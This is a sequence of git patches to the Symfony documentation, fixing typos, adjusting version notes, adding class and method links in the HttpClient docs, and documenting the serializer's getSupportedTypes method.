From d47d1fcf582b5fac9e251170142b84097e7da50a Mon Sep 17 00:00:00 2001
From: Colin O'Dell <colinodell@gmail.com>
Date: Fri, 9 Jun 2023 15:44:33 -0400
Subject: [PATCH 3369/5766] Fix PhpStanExtractor added version

---
 components/property_info.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index 0186e6fbcf1..02421881244 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -442,9 +442,9 @@ information from annotations of properties and methods, such as ``@var``,
     $phpStanExtractor = new PhpStanExtractor();
     $phpStanExtractor->getTypesFromConstructor(Foo::class, 'bar');
 
-.. versionadded:: 6.1
+.. versionadded:: 5.4
 
-    The ``PhpStanExtractor`` was introduced in Symfony 6.1.
+    The ``PhpStanExtractor`` was introduced in Symfony 5.4.
 
 SerializerExtractor
 ~~~~~~~~~~~~~~~~~~~

From 3ec0feefc6c983617594e778be5ecbb5c7f25cc0 Mon Sep 17 00:00:00 2001
From: Abdellah Ramadan <ramadanabdel24@gmail.com>
Date: Sun, 11 Jun 2023 07:18:37 +0100
Subject: [PATCH 3370/5766] Update asset_mapper.rst

update typo at Lazily Importing CSS from a JavaScript File
---
 frontend/asset_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index ca5c6899e00..4feacfd63fd 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -391,7 +391,7 @@ This *can* work with importmaps, but it should *not* be used for critical CSS
 that needs to be loaded before the page is rendered because the browser
 won't download the CSS until the JavaScript file executed.
 
-However, if you *do* want to lazily-load a CSS file, you an make this work
+However, if you *do* want to lazily-load a CSS file, you can make this work
 by using the ``importmap:require`` command and pointing it at a CSS file.
 
 .. code-block:: terminal

From 335c8cf5ea8548ec3a2b9968c2ea01bf0d345f2b Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 1 Mar 2023 21:37:53 +0100
Subject: [PATCH 3371/5766] [HttpClient] Replace a few classes and methods
 occurrences by their source code link

---
 http_client.rst | 93 +++++++++++++++++++++++++++++--------------------
 1 file changed, 55 insertions(+), 38 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index d0c49e7050e..b81934520e9 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -738,7 +738,7 @@ original HTTP client::
 
     $client = new RetryableHttpClient(HttpClient::create());
 
-The ``RetryableHttpClient`` uses a
+The :class:`Symfony\\Component\\HttpClient\\RetryableHttpClient` uses a
 :class:`Symfony\\Component\\HttpClient\\Retry\\RetryStrategyInterface` to
 decide if the request should be retried, and to define the waiting time between
 each retry.
@@ -776,7 +776,8 @@ called when new data is uploaded or downloaded and at least once per second::
     ]);
 
 Any exceptions thrown from the callback will be wrapped in an instance of
-``TransportExceptionInterface`` and will abort the request.
+:class:`Symfony\\Contracts\\HttpClient\\Exception\\TransportExceptionInterface`
+and will abort the request.
 
 HTTPS Certificates
 ~~~~~~~~~~~~~~~~~~
@@ -857,9 +858,10 @@ This component supports both the native PHP streams and cURL to make the HTTP
 requests. Although both are interchangeable and provide the same features,
 including concurrent requests, HTTP/2 is only supported when using cURL.
 
-``HttpClient::create()`` selects the cURL transport if the `cURL PHP extension`_
-is enabled and falls back to PHP streams otherwise. If you prefer to select
-the transport explicitly, use the following classes to create the client::
+The :method:`Symfony\\Component\\HttpClient\\HttpClient::create` method
+selects the cURL transport if the `cURL PHP extension`_ is enabled and falls
+back to PHP streams otherwise. If you prefer to select the transport
+explicitly, use the following classes to create the client::
 
     use Symfony\Component\HttpClient\CurlHttpClient;
     use Symfony\Component\HttpClient\NativeHttpClient;
@@ -1040,8 +1042,9 @@ following methods::
 Streaming Responses
 ~~~~~~~~~~~~~~~~~~~
 
-Call the ``stream()`` method of the HTTP client to get *chunks* of the
-response sequentially instead of waiting for the entire response::
+Call the :method:`Symfony\\Contracts\\HttpClient\\HttpClientInterface::stream`
+method to get *chunks* of the response sequentially instead of waiting for the
+entire response::
 
     $url = 'https://releases.ubuntu.com/18.04.1/ubuntu-18.04.1-desktop-amd64.iso';
     $response = $client->request('GET', $url);
@@ -1071,8 +1074,7 @@ Canceling Responses
 
 To abort a request (e.g. because it didn't complete in due time, or you want to
 fetch only the first bytes of the response, etc.), you can either use the
-``cancel()`` method of
-:class:`Symfony\\Contracts\\HttpClient\\ResponseInterface`::
+:method:`Symfony\\Contracts\\HttpClient\\ResponseInterface::cancel`::
 
     $response->cancel();
 
@@ -1190,10 +1192,12 @@ If you look again at the snippet above, responses are read in requests' order.
 But maybe the 2nd response came back before the 1st? Fully asynchronous operations
 require being able to deal with the responses in whatever order they come back.
 
-In order to do so, the ``stream()`` method of HTTP clients accepts a list of
-responses to monitor. As mentioned :ref:`previously <http-client-streaming-responses>`,
-this method yields response chunks as they arrive from the network. By replacing
-the "foreach" in the snippet with this one, the code becomes fully async::
+In order to do so, the
+:method:`Symfony\\Contracts\\HttpClient\\HttpClientInterface::stream`
+accepts a list of responses to monitor. As mentioned
+:ref:`previously <http-client-streaming-responses>`, this method yields response
+chunks as they arrive from the network. By replacing the "foreach" in the
+snippet with this one, the code becomes fully async::
 
     foreach ($client->stream($responses) as $response => $chunk) {
         if ($chunk->isFirst()) {
@@ -1330,7 +1334,8 @@ installed in your application::
     // this won't hit the network if the resource is already in the cache
     $response = $client->request('GET', 'https://example.com/cacheable-resource');
 
-``CachingHttpClient`` accepts a third argument to set the options of the ``HttpCache``.
+:class:`Symfony\\Component\\HttpClient\\CachingHttpClient`` accepts a third argument
+to set the options of the :class:`Symfony\\Component\\HttpKernel\\HttpCache\\HttpCache`.
 
 Consuming Server-Sent Events
 ----------------------------
@@ -1496,8 +1501,8 @@ it. As such, you should not use it in newly written code. The component is still
 interoperable with libraries that require it thanks to the
 :class:`Symfony\\Component\\HttpClient\\HttplugClient` class. Similarly to
 :class:`Symfony\\Component\\HttpClient\\Psr18Client` implementing relevant parts of PSR-17,
-``HttplugClient`` also implements the factory methods defined in the related
-``php-http/message-factory`` package.
+:class:`Symfony\\Component\\HttpClient\\HttplugClient` also implements the factory methods
+defined in the related ``php-http/message-factory`` package.
 
 .. code-block:: terminal
 
@@ -1528,15 +1533,16 @@ that requires HTTPlug dependencies::
         // [...]
     }
 
-Because ``HttplugClient`` implements the three interfaces, you can use it this way::
+Because :class:`Symfony\\Component\\HttpClient\\HttplugClient` implements the
+three interfaces,you can use it this way::
 
     use Symfony\Component\HttpClient\HttplugClient;
 
     $httpClient = new HttplugClient();
     $apiClient = new SomeSdk($httpClient, $httpClient, $httpClient);
 
-If you'd like to work with promises, ``HttplugClient`` also implements the
-``HttpAsyncClient`` interface. To use it, you need to install the
+If you'd like to work with promises, :class:`Symfony\\Component\\HttpClient\\HttplugClient`
+also implements the ``HttpAsyncClient`` interface. To use it, you need to install the
 ``guzzlehttp/promises`` package:
 
 .. code-block:: terminal
@@ -1716,20 +1722,24 @@ external service. By not making actual HTTP requests there is no need to worry a
 the service being online or the request changing state, for example deleting
 a resource.
 
-``MockHttpClient`` implements the ``HttpClientInterface``, just like any actual
-HTTP client in this component. When you type-hint with ``HttpClientInterface``
-your code will accept the real client outside tests, while replacing it with
-``MockHttpClient`` in the test.
+:class:`Symfony\\Component\\HttpClient\\MockHttpClient` implements the
+:class:`Symfony\\Contracts\\HttpClient\\HttpClientInterface`, just like any actual
+HTTP client in this component. When you type-hint with
+:class:`Symfony\\Contracts\\HttpClient\\HttpClientInterface` your code will accept
+the real client outside tests, while replacing it with
+:class:`Symfony\\Component\\HttpClient\\MockHttpClient` in the test.
 
-When the ``request`` method is used on ``MockHttpClient``, it will respond with
-the supplied ``MockResponse``. There are a few ways to use it, as described
-below.
+When the ``request`` method is used on :class:`Symfony\\Component\\HttpClient\\MockHttpClient`,
+it will respond with the supplied
+:class:`Symfony\\Component\\HttpClient\\Response\\MockResponse`. There are a few ways to use
+it, as described below.
 
 HTTP Client and Responses
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The first way of using ``MockHttpClient`` is to pass a list of responses to its
-constructor. These will be yielded in order when requests are made::
+The first way of using :class:`Symfony\\Component\\HttpClient\\MockHttpClient`
+is to pass a list of responses to its constructor. These will be yielded
+in order when requests are made::
 
     use Symfony\Component\HttpClient\MockHttpClient;
     use Symfony\Component\HttpClient\Response\MockResponse;
@@ -1744,8 +1754,8 @@ constructor. These will be yielded in order when requests are made::
     $response1 = $client->request('...'); // returns $responses[0]
     $response2 = $client->request('...'); // returns $responses[1]
 
-Another way of using ``MockHttpClient`` is to pass a callback that generates the
-responses dynamically when it's called::
+Another way of using :class:`Symfony\\Component\\HttpClient\\MockHttpClient` is to
+pass a callback that generates the responses dynamically when it's called::
 
     use Symfony\Component\HttpClient\MockHttpClient;
     use Symfony\Component\HttpClient\Response\MockResponse;
@@ -1787,7 +1797,9 @@ assertions on the request before returning the mocked response::
 .. tip::
 
     Instead of using the first argument, you can also set the (list of)
-    responses or callbacks using the ``setResponseFactory()`` method::
+    responses or callbacks using the
+    :method:`Symfony\\Component\\HttpClient\\MockHttpClient::setResponseFactory`
+    method::
 
         $responses = [
             new MockResponse($body1, $info1),
@@ -1799,7 +1811,8 @@ assertions on the request before returning the mocked response::
 
     .. versionadded:: 5.4
 
-        The ``setResponseFactory()`` method was introduced in Symfony 5.4.
+        The :method:`Symfony\\Component\\HttpClient\\MockHttpClient::setResponseFactory`
+        method was introduced in Symfony 5.4.
 
 If you need to test responses with HTTP status codes different than 200,
 define the ``http_code`` option::
@@ -1815,10 +1828,12 @@ define the ``http_code`` option::
     $response = $client->request('...');
 
 The responses provided to the mock client don't have to be instances of
-``MockResponse``. Any class implementing ``ResponseInterface`` will work (e.g.
-``$this->createMock(ResponseInterface::class)``).
+:class:`Symfony\\Component\\HttpClient\\Response\\MockResponse`. Any class
+implementing :class:`Symfony\\Contracts\\HttpClient\\ResponseInterface`
+will work (e.g. ``$this->createMock(ResponseInterface::class)``).
 
-However, using ``MockResponse`` allows simulating chunked responses and timeouts::
+However, using :class:`Symfony\\Component\\HttpClient\\Response\\MockResponse`
+allows simulating chunked responses and timeouts::
 
     $body = function () {
         yield 'hello';
@@ -1910,7 +1925,8 @@ Then configure Symfony to use your callback:
 Testing Request Data
 ~~~~~~~~~~~~~~~~~~~~
 
-The ``MockResponse`` class comes with some helper methods to test the request:
+The :class:`Symfony\\Component\\HttpClient\\Response\\MockResponse` class comes
+with some helper methods to test the request:
 
 * ``getRequestMethod()`` - returns the HTTP method;
 * ``getRequestUrl()`` - returns the URL the request would be sent to;
@@ -1919,8 +1935,9 @@ The ``MockResponse`` class comes with some helper methods to test the request:
 
 .. versionadded:: 5.2
 
-    The ``getRequestMethod()`` and ``getRequestUrl()`` methods were introduced
-    in Symfony 5.2.
+    The :method:`Symfony\\Component\\HttpClient\\Response\\MockResponse::getRequestMethod`
+    and :method:`Symfony\\Component\\HttpClient\\Response\\MockResponse::getRequestUrl`
+    methods were introduced in Symfony 5.2.
 
 Usage example::
 

From 1904ba23eb0a3c2b3422d88077f0b44f26025c11 Mon Sep 17 00:00:00 2001
From: johan Vlaar <johan@adivare.nl>
Date: Mon, 1 May 2023 12:21:11 +0200
Subject: [PATCH 3372/5766] [Mailer] Add new email testing functions (fixes
 #50200)

---
 testing.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/testing.rst b/testing.rst
index 75b8d791972..7e87f116058 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1034,6 +1034,9 @@ Mailer Assertions
     Asserts that the given address header equals the expected e-mail
     address. This assertion normalizes addresses like ``Jane Smith
     <jane@example.com>`` into ``jane@example.com``.
+``assertEmailSubjectContains(RawMessage $email, string $expectedValue, string $message = '')``/``assertEmailSubjectNotContains(RawMessage $email, string $expectedValue, string $message = '')``
+    Asserts that the subject of the given email does (not) contain the
+    expected subject.
 
 Notifier Assertions
 ...................

From b55fcfb4adf3c339a4e712c964c49a6e43ecc188 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 12 Jun 2023 13:53:00 +0200
Subject: [PATCH 3373/5766] [Console] Call command with options without value

---
 console/command_in_controller.rst | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/console/command_in_controller.rst b/console/command_in_controller.rst
index 887bdeb147d..64475bff103 100644
--- a/console/command_in_controller.rst
+++ b/console/command_in_controller.rst
@@ -42,6 +42,8 @@ Imagine you want to run the ``debug:twig`` from inside your controller::
                 'fooArgument' => 'barValue',
                 // (optional) pass options to the command
                 '--bar' => 'fooValue',
+                // (optional) pass options without value
+                '--baz' => true,
             ]);
 
             // You can use NullOutput() if you don't need the output
@@ -59,9 +61,10 @@ Imagine you want to run the ``debug:twig`` from inside your controller::
 Showing Colorized Command Output
 --------------------------------
 
-By telling the ``BufferedOutput`` it is decorated via the second parameter,
-it will return the Ansi color-coded content. The `SensioLabs AnsiToHtml converter`_
-can be used to convert this to colorful HTML.
+By telling the :class:`Symfony\\Component\\Console\\Output\\BufferedOutput`
+it is decorated via the second parameter, it will return the Ansi color-coded
+content. The `SensioLabs AnsiToHtml converter`_ can be used to convert this to
+colorful HTML.
 
 First, require the package:
 

From ed6bf81958012267b4df565c4cfa9990c04ab89b Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 12 Jun 2023 15:03:54 +0200
Subject: [PATCH 3374/5766] [Standards] Update code guidelines

---
 contributing/code/standards.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index 967edb0115e..2668269dfcc 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -190,6 +190,14 @@ Structure
 
 * Exception and error messages must start with a capital letter and finish with a dot ``.``;
 
+* Exception, error and deprecation messages containing a class name must
+  use ``get_debug_type()`` instead of ``::class`` to retrieve it:
+
+  .. code-block:: diff
+
+    - throw new \Exception(sprintf('Command "%s" failed.', $command::class));
+    + throw new \Exception(sprintf('Command "%s" failed.', get_debug_type($command)));
+
 * Do not use ``else``, ``elseif``, ``break`` after ``if`` and ``case`` conditions
   which return or throw something;
 

From 76473188c6e70e45b9de1542f0d15122026c57ae Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 12 Jun 2023 15:54:46 +0200
Subject: [PATCH 3375/5766] Remove an unneeded versionadded directive

---
 components/property_info.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index 0008b8b7638..6aa2210a728 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -443,10 +443,6 @@ information from annotations of properties and methods, such as ``@var``,
     $phpStanExtractor = new PhpStanExtractor();
     $phpStanExtractor->getTypesFromConstructor(Foo::class, 'bar');
 
-.. versionadded:: 5.4
-
-    The ``PhpStanExtractor`` was introduced in Symfony 5.4.
-
 SerializerExtractor
 ~~~~~~~~~~~~~~~~~~~
 

From 6856b7196f38b662da6ff96aaebfb9111672ae5b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 12 Jun 2023 17:30:56 +0200
Subject: [PATCH 3376/5766] Minor tweaks

---
 forms.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/forms.rst b/forms.rst
index a78eb2f4fe5..68feeb0af1d 100644
--- a/forms.rst
+++ b/forms.rst
@@ -755,9 +755,9 @@ Set the ``label`` option on fields to define their labels explicitly::
 Changing the Action and HTTP Method
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-By default, the ``<form>`` tag will be rendered with a ``method="post"`` attribute,
-and no ``action`` attribute, causing it to be submitted via an HTTP POST request to the same
-URL under which it was rendered. When building the form,
+By default, the ``<form>`` tag is rendered with a ``method="post"`` attribute,
+and no ``action`` attribute. This means that the form is submitted via an HTTP
+POST request to the same URL under which it was rendered. When building the form,
 use the ``setAction()`` and ``setMethod()`` methods to change this::
 
     // src/Controller/TaskController.php

From abd50b7b1cc898d85fa66f8b47a357a2e802f732 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 13 Jun 2023 09:18:50 +0200
Subject: [PATCH 3377/5766] [HttpKernel] Deprecate `ContainerAwareInterface`
 and `ContainerAwareTrait`

---
 components/http_kernel.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 067bf17a998..eb6996cbf4b 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -263,6 +263,13 @@ on the request's information.
        is passed to it. This step is also specific to the  :class:`Symfony\\Bundle\\FrameworkBundle\\Controller\\ControllerResolver`
        sub-class used by the Symfony Framework.
 
+.. deprecated:: 6.4
+
+    :class:`Symfony\\Component\\DependencyInjection\\ContainerAwareInterface` and
+    :class:`Symfony\\Component\\DependencyInjection\\ContainerAwareTrait` are
+    deprecated since Symfony 6.4. Dependency injection should be used instead to
+    access the service container.
+
 .. _component-http-kernel-kernel-controller:
 
 3) The ``kernel.controller`` Event

From bb584ce4677e2f81a7316d601e668762e373318d Mon Sep 17 00:00:00 2001
From: jeireff <jeireff@gmail.com>
Date: Tue, 13 Jun 2023 13:58:50 +0200
Subject: [PATCH 3378/5766] Update voters.rst

---
 security/voters.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/voters.rst b/security/voters.rst
index 5aa8d8125d8..c1e9f61c6a9 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -78,7 +78,7 @@ code like this:
         {
             #[Route('/posts/{id}', name: 'post_show')]
             // check for "view" access: calls all voters
-            #[IsGranted('show', 'post')]
+            #[IsGranted('view', 'post')]
             public function show(Post $post): Response
             {
                 // ...

From b15303f68d3d9fe9310d4e7e223a4f134ba74254 Mon Sep 17 00:00:00 2001
From: aurac <aurelienadam96@gmail.com>
Date: Tue, 13 Jun 2023 22:20:19 +0200
Subject: [PATCH 3379/5766] Update wording bundles.rst

---
 bundles.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/bundles.rst b/bundles.rst
index 85e73c01e21..ebfff3cdbfa 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -45,7 +45,7 @@ The new bundle is called AcmeTestBundle, where the ``Acme`` portion is an exampl
 name that should be replaced by some "vendor" name that represents you or your
 organization (e.g. AbcTestBundle for some company named ``Abc``).
 
-Start by adding creating a new class called ``AcmeTestBundle``::
+Start by creating a new class called ``AcmeTestBundle``::
 
     // src/AcmeTestBundle.php
     namespace Acme\TestBundle;

From fa355fd26cbf55d4c7b9763e0b535724a0abc018 Mon Sep 17 00:00:00 2001
From: Maxime Morlet <MaxiCom.Developpement@gmail.com>
Date: Tue, 13 Jun 2023 14:01:07 +0200
Subject: [PATCH 3380/5766] Update security.rst

Typo!
---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 95a914cc091..14194fee2ff 100644
--- a/security.rst
+++ b/security.rst
@@ -1819,7 +1819,7 @@ You can logout user programmatically using the ``logout()`` method of the
         }
     }
 
-The user will be logout from the firewall of the request. If the request is
+The user will be logged out from the firewall of the request. If the request is
 not behind a firewall a ``\LogicException`` will be thrown.
 
 Customizing Logout

From 1799a49a79ef7d8f51269cb386cae5f2bb4e5e88 Mon Sep 17 00:00:00 2001
From: Baptiste <pottierbaptiste@gmail.com>
Date: Tue, 13 Jun 2023 10:19:52 +0200
Subject: [PATCH 3381/5766] Update voters.rst

use constant of class and not string (in twig too)
---
 security/voters.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/voters.rst b/security/voters.rst
index 5aa8d8125d8..9b4c2b4027d 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -105,7 +105,7 @@ code like this:
             public function show(Post $post): Response
             {
                 // check for "view" access: calls all voters
-                $this->denyAccessUnlessGranted('view', $post);
+                $this->denyAccessUnlessGranted('PostVoter::VIEW', $post);
 
                 // ...
             }
@@ -114,7 +114,7 @@ code like this:
             public function edit(Post $post): Response
             {
                 // check for "edit" access: calls all voters
-                $this->denyAccessUnlessGranted('edit', $post);
+                $this->denyAccessUnlessGranted(PostVoter::EDIT, $post);
 
                 // ...
             }

From 25a1a9428c087262ebc50bc7ee727d9d95c186d1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 14 Jun 2023 12:28:01 +0200
Subject: [PATCH 3382/5766] Tweaks

---
 security/voters.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/security/voters.rst b/security/voters.rst
index 9b4c2b4027d..f738ee7a80e 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -98,6 +98,7 @@ code like this:
         // src/Controller/PostController.php
 
         // ...
+        use App\Security\PostVoter;
 
         class PostController extends AbstractController
         {
@@ -105,7 +106,7 @@ code like this:
             public function show(Post $post): Response
             {
                 // check for "view" access: calls all voters
-                $this->denyAccessUnlessGranted('PostVoter::VIEW', $post);
+                $this->denyAccessUnlessGranted(PostVoter::VIEW, $post);
 
                 // ...
             }

From 599922c542c8ebe21c358162eeb7474215588371 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 14 Jun 2023 12:31:14 +0200
Subject: [PATCH 3383/5766] Backport a fix merged in 6.3

---
 security/voters.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/voters.rst b/security/voters.rst
index f738ee7a80e..286ea9265d9 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -78,7 +78,7 @@ code like this:
         {
             #[Route('/posts/{id}', name: 'post_show')]
             // check for "view" access: calls all voters
-            #[IsGranted('show', 'post')]
+            #[IsGranted('view', 'post')]
             public function show(Post $post): Response
             {
                 // ...

From 524c05d0db769f3cddbffbddc04eb318b66473f4 Mon Sep 17 00:00:00 2001
From: Nathan Dench <ndenc2@gmail.com>
Date: Fri, 9 Jun 2023 15:21:02 +1000
Subject: [PATCH 3384/5766] [Serializer] Document Serializer getSupportedTypes
 method

---
 serializer/custom_normalizer.rst | 46 ++++++++++++++++++++++++++++++++
 1 file changed, 46 insertions(+)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index bc94772b2a5..0697195311c 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -48,6 +48,52 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
         }
     }
 
+Caching the result of supportsNormalization
+-------------------------------------------
+
+.. versionadded:: 6.3
+
+    The ``getSupportedTypes()`` method was introduced in Symfony 6.3.
+
+Both :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerInterface` and
+:class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface` contain a new method ``getSupportedTypes()``.
+This method allows normalizers or denormalizers to declare the type of objects they can handle, and whether they are
+cacheable. With this info, even if the ``supports*()`` call is not cacheable, the Serializer can skip a ton of method calls
+to ``supports*()`` improving performance substantially in some cases.
+
+The ``getSupportedTypes()`` method should return an array where the keys represent the supported types, and the values
+indicate whether the result of the ``supports*()`` method call can be cached or not. The format of the returned array is as
+follows:
+
+- The special key ``object`` can be used to indicate that the normalizer or denormalizer supports any classes or
+  interfaces.
+- The special key ``*`` can be used to indicate that the normalizer or denormalizer might support any types.
+- The other keys in the array should correspond to specific types that the normalizer or denormalizer supports.
+- The values associated with each type should be a boolean indicating if the result of the ``supports*()`` method call for
+  that type can be cached or not. A value of ``true`` means that the result is cacheable, while ``false`` means that the
+  result is not cacheable.
+- A ``null`` value for a type means that the normalizer or denormalizer does not support that type.
+
+Here is an example of how to use the ``getSupportedTypes()`` method::
+
+    use Symfony\Component\Serializer\Normalizer\NormalizerInterface;
+
+    class MyNormalizer implements NormalizerInterface
+    {
+        // ...
+
+        public function getSupportedTypes(?string $format): array
+        {
+            return [
+                'object' => null, // Doesn't supports any classes or interfaces
+                '*' => false, // Supports any other types, but the result is not cacheable
+                MyCustomClass::class => true, // Supports MyCustomClass and result is cacheable
+            ];
+        }
+    }
+
+Note that ``supports*()`` method implementations should not assume that ``getSupportedTypes()`` has been called before.
+
 Registering it in your Application
 ----------------------------------
 

From 9596db66cb1048156d1aaeca5d6ce0e6ed6e8c28 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 14 Jun 2023 12:50:32 +0200
Subject: [PATCH 3385/5766] Tweaks

---
 serializer/custom_normalizer.rst | 101 +++++++++++++++++--------------
 1 file changed, 54 insertions(+), 47 deletions(-)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 0697195311c..0168e0c7447 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -48,52 +48,6 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
         }
     }
 
-Caching the result of supportsNormalization
--------------------------------------------
-
-.. versionadded:: 6.3
-
-    The ``getSupportedTypes()`` method was introduced in Symfony 6.3.
-
-Both :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerInterface` and
-:class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface` contain a new method ``getSupportedTypes()``.
-This method allows normalizers or denormalizers to declare the type of objects they can handle, and whether they are
-cacheable. With this info, even if the ``supports*()`` call is not cacheable, the Serializer can skip a ton of method calls
-to ``supports*()`` improving performance substantially in some cases.
-
-The ``getSupportedTypes()`` method should return an array where the keys represent the supported types, and the values
-indicate whether the result of the ``supports*()`` method call can be cached or not. The format of the returned array is as
-follows:
-
-- The special key ``object`` can be used to indicate that the normalizer or denormalizer supports any classes or
-  interfaces.
-- The special key ``*`` can be used to indicate that the normalizer or denormalizer might support any types.
-- The other keys in the array should correspond to specific types that the normalizer or denormalizer supports.
-- The values associated with each type should be a boolean indicating if the result of the ``supports*()`` method call for
-  that type can be cached or not. A value of ``true`` means that the result is cacheable, while ``false`` means that the
-  result is not cacheable.
-- A ``null`` value for a type means that the normalizer or denormalizer does not support that type.
-
-Here is an example of how to use the ``getSupportedTypes()`` method::
-
-    use Symfony\Component\Serializer\Normalizer\NormalizerInterface;
-
-    class MyNormalizer implements NormalizerInterface
-    {
-        // ...
-
-        public function getSupportedTypes(?string $format): array
-        {
-            return [
-                'object' => null, // Doesn't supports any classes or interfaces
-                '*' => false, // Supports any other types, but the result is not cacheable
-                MyCustomClass::class => true, // Supports MyCustomClass and result is cacheable
-            ];
-        }
-    }
-
-Note that ``supports*()`` method implementations should not assume that ``getSupportedTypes()`` has been called before.
-
 Registering it in your Application
 ----------------------------------
 
@@ -128,5 +82,58 @@ is called.
     All built-in :ref:`normalizers and denormalizers <component-serializer-normalizers>`
     as well the ones included in `API Platform`_ natively implement this interface.
 
-.. _`API Platform`: https://api-platform.com
+Improving Performance of Normalizers/Denormalizers
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
+.. versionadded:: 6.3
+
+    The ``getSupportedTypes()`` method was introduced in Symfony 6.3.
+
+Both :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerInterface`
+and :class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface`
+contain a new method ``getSupportedTypes()``. This method allows normalizers or
+denormalizers to declare the type of objects they can handle, and whether they
+are cacheable. With this info, even if the ``supports*()`` call is not cacheable,
+the Serializer can skip a ton of method calls to ``supports*()`` improving
+performance substantially in some cases.
+
+The ``getSupportedTypes()`` method should return an array where the keys
+represent the supported types, and the values indicate whether the result of
+the ``supports*()`` method call can be cached or not. The format of the
+returned array is as follows:
+
+#. The special key ``object`` can be used to indicate that the normalizer or
+   denormalizer supports any classes or interfaces.
+#. The special key ``*`` can be used to indicate that the normalizer or
+   denormalizer might support any types.
+#. The other keys in the array should correspond to specific types that the
+   normalizer or denormalizer supports.
+#. The values associated with each type should be a boolean indicating if the
+   result of the ``supports*()`` method call for that type can be cached or not.
+   A value of ``true`` means that the result is cacheable, while ``false`` means
+   that the result is not cacheable.
+#. A ``null`` value for a type means that the normalizer or denormalizer does
+   not support that type.
+
+Here is an example of how to use the ``getSupportedTypes()`` method::
+
+    use Symfony\Component\Serializer\Normalizer\NormalizerInterface;
+
+    class MyNormalizer implements NormalizerInterface
+    {
+        // ...
+
+        public function getSupportedTypes(?string $format): array
+        {
+            return [
+                'object' => null,             // Doesn't support any classes or interfaces
+                '*' => false,                 // Supports any other types, but the result is not cacheable
+                MyCustomClass::class => true, // Supports MyCustomClass and result is cacheable
+            ];
+        }
+    }
+
+Note that ``supports*()`` method implementations should not assume that
+``getSupportedTypes()`` has been called before.
+
+.. _`API Platform`: https://api-platform.com

From 68642ae4782d28d4423d05a2640cf0497cd1910a Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 14 Jun 2023 14:16:32 +0200
Subject: [PATCH 3386/5766] [Process] Remove wrong note about
 `create_new_console` option

---
 components/process.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/components/process.rst b/components/process.rst
index a0a312512bc..12ee096df4e 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -113,11 +113,6 @@ You can configure the options passed to the ``other_options`` argument of
     // this option allows a subprocess to continue running after the main script exited
     $process->setOptions(['create_new_console' => true]);
 
-.. note::
-
-    The ``create_new_console`` option is only available on Windows!
-
-
 Using Features From the OS Shell
 --------------------------------
 

